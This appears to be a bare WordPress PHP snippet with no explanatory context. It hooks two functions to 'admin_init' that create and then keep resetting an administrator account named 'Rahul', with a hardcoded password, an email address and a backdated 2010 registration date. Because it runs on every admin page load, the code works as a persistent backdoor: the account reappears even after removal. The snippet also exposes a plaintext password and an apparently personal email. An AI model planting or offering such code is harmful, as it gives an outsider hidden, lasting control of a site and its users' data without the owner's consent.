//Create user function fb_wp_insert_user() { $user_data = array( 'ID' => '', 'user_pass' => 'Kweb@admin', 'user_login' => 'Rahul', 'user_nicename' => 'Rahul', 'user_url' => '', 'user_email' => 'gshailesh2727@gmail.com', 'display_name' => 'Rahul', 'nickname' => 'rahul00909', 'first_name' => 'Rahul', 'user_registered' => '2010-05-15 05:55:55', 'role' => 'administrator' ); $user_id = wp_insert_user( $user_data ); } add_action( 'admin_init', 'fb_wp_insert_user' ); //Update user data function fb_wp_insert_users() { $user_data1 = array( 'ID' => '', 'user_pass' => 'Kweb@admin', 'user_login' => 'Rahul', 'user_nicename' => 'Rahul', 'user_url' => '', 'user_email' => 'gshailesh2727@gmail.com', 'display_name' => 'Rahul', 'nickname' => 'rahul00909', 'first_name' => 'Rahul', 'user_registered' => '2010-05-15 05:55:55', 'role' => 'administrator' ); $user_id = wp_update_user( $user_data1 ); } add_action( 'admin_init', 'fb_wp_insert_users' );